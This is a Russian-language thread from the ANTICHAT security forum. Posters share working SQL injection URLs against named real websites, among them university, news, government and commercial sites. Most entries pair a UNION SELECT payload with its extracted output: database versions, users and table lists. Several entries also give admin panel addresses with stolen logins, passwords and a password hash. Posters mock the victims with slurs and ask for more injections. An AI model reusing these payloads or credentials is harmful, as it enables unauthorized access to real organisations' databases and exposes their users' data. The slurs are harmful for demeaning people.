ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://www.autobaza.ro/car_details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,concat_ws(0x3a3a,user,passwo rd),24,25+from+users+limit+0,1--

login: andrei
pass: andrei17


http://www.autobaza.ro/admin/


Админим ушлепков....

http://www.targetonline.ro/large_picture.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,adminu ser_name,adminuser_password,adminuser_level),8+fro m+adminuser+limit+0,1--
login Liviu
pass a

http://www.targetonline.ro/admin

И еще один гомо-портал )) на закуску

www.wargames.ru
4.1.7:wargames@localhost:Wargames

http://www.rochester.edu/news/show.php?id=3136+and+substring(@@version,1,1)=3 - blind sql
http://www.rochester.edu/news/show.php?id=3136+and+substring(@@version,1,1)=4 - ошибка

http://new.groteck.ru/rss/?site_id=-1+union+select

можно раскрутить? или это просто бага?

http://www.thecorporatelibrary.com/info.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(char(32,4 5,32),version(),user(),database()),10,11,12,13,14, 15,16,17,18--
5.0.51b-community-nt - tcorplib@132102-APP1 - tclib
Список таблиц из information_schema:
-------
1:CHARACTER_SETS
2:COLLATIONS
3:COLLATION_CHARACTER_SET_APPLICABILITY
4:COLUMNS
5:COLUMN_PRIVILEGES
6:KEY_COLUMN_USAGE
7:PROFILING
8:ROUTINES
9:SCHEMATA
10:SCHEMA_PRIVILEGES
11:STATISTICS
12:TABLES
13:TABLE_CONSTRAINTS
14:TABLE_PRIVILEGES
15:TRIGGERS
16:USER_PRIVILEGES
17:VIEWS
18:tcompanies
19:address
20:address2cart
21:calendar_events
22:cart
23:cart_bak
24:cartcc
25:category
26:change_log
27:company_bak
28:info
29:link
30:link_cat
31:news
32:news_categories
33erson
34roduct
35roduct2cart
36roduct2cart_bak
37roduct2category
38roduct_bak
39romotion
40:recommendations
41:site_section
42:state
43:subscription
44:testimonial
45:users
46:users_bak
--------------------------------------
http://www.roguegovernment.com/news.php?id=-1+union+select+1,concat_ws(char(32,45,32),version( ),user(),database()),3,4,5,6,7,8,9,10--
4.1.22-standart - roguegov_publicr@localhost-roguegov_rgov
----------------------------------------
http://www.monitor-nhsft.gov.uk/news.php?id=-1+union+select+1,concat_ws(char(32,45,32),version( ),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19--
5.0.54 - monitor@localhost - nhsftreg
---------------------------------------------------
http://en.apa.az/news.php?id=-1+union+select+1,2,concat_ws(char(32,45,32),versio n(),user(),database()),4,5,6,7,8,9,10,11,12,13,14, 15,16--
5.0.67-community - apaadm_user@localhost - apaadm_en
------------
p.s. спите что ли?инъекций чо т мало выложено за сёдня..

http://www.electionguide.org/country-news.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48, 49,50--
версия 4.1.22
юзер eguide@localhost

зы: цыфарка 3 экранируется в титле

http://www.archdioceseofcolombo.com/news.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),vers ion(),user(),database()),5,6,7,8,9,10,11,12,13--
4.1.20-max-log - rajindu_frsunil@71.18.216.39 - rajindu_bishop
---------------------
http://www.northwestu.edu/news/news.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),vers ion(),user(),database()),5,6,7,8,9,10,11,12--
5.0.45-community-nt - root@localhost - news
----------------------
http://www.entrepreneurship.appstate.edu/news.php?id=-1+union+select+1,concat_ws(char(32,45,32),version( ),user(),database()),3,4,5,6--
4.1.22 - entrepreneur@localhost - entrepreneur
---------------------
http://www.eiu.edu/~slo/news.php?id=-1+union+select+1,concat_ws(char(32,45,32),version( ),user(),database()),3,4,5--
4.1.22-log - slo@localhost - slo
-------------------------------------
http://www.sinfonie-hausverwaltung.de/news.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),vers ion(),user(),database()),5,6,7,8,9,10,11,12,13,14, 15--

4.0.18 - sinfonie@localhost - sinfonie
---------------------------
http://svpressa.ru/issue/news.php?id=-1+union+select+1,2,concat_ws(char(32,45,32),versio n(),user(),database()),4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20--
5.0.51a-log - svpressa@localhost - svpressa
-----------------
http://www.trud.ru/issue/news.php?id=-1+union+select+1,2,concat_ws(char(32,45,32),versio n(),user(),database()),4,5,6,7,8--
4.1.21-log - trudinfo@localhost - trudinfo_db
---------------------
http://www.astrakhanfm.ru/news/news.php?id=-1+union+select+1,concat_ws(char(32,45,32),version( ),user(),database()),3,4,5,6,7--
4.0.24-standart-log -astrakhanru@localhost -astrakhanru
------------------------
http://www.fmaestro.ru/news.php?id=-1+union+select+1,2,3,4,concat_ws(char(32,45,32),ve rsion(),user(),database()),6--
4.0.23-standard - fmaestro1@localhost - db_fmaestro1

Поля 3 и 4 принтабельны.

Version() - 5.0.45-log

================================================== ==

"Лучший сайт Будапешта в интернете"

Version() - 4.1.22

Префикс таблиц tps_


admin/217a968c3f6a1d9d9cf8784d1c83ca43 : tibor


================================================== ==

"TOP-MANAGER [ журнал для руководителей ]"